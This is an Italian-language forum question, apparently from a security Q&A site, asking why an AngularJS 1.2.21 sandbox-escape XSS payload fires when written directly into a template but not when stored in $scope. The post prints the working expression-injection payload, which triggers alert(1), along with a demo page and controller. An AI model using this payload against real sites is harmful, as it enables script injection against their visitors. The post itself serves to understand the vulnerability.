XSS angolare non valutato

2

Usando una versione precedente di AngularJS: 1.2.21 dell'esempio, ci sono alcuni giochi che possono generare un XSS.

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

Ma quando questo carico utile è immagazzinato in $scope , non funziona. C'è un esempio dal vivo su JsBin

Se il payload viene passato direttamente nel codice HTML, l'XSS funziona correttamente. Ma se il payload viene passato dall'ambito, non funziona

Non capisco perché il secondo carico utile non venga eseguito.

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>Angular JS</title>
</head>
<body ng-app="jsbin">
  <div ng-controller="DemoCtrl as demo">
    <h1>Hello {{demo.name}}</h1>

     {{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert('working if not in scope')"].sort(toString.constructor);}}

  </div>
  <script src="//cdnjs.cloudflare.com/ajax/libs/angular.js/1.2.21/angular.js"></script>

</body>
</html>

Il controller:

var app = angular.module('jsbin', []);

app.controller('DemoCtrl', function() {
  this.name = 'toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);';
});
    
posta mpgn 20.05.2016 - 15:25
fonte

0 risposte

Leggi altre domande sui tag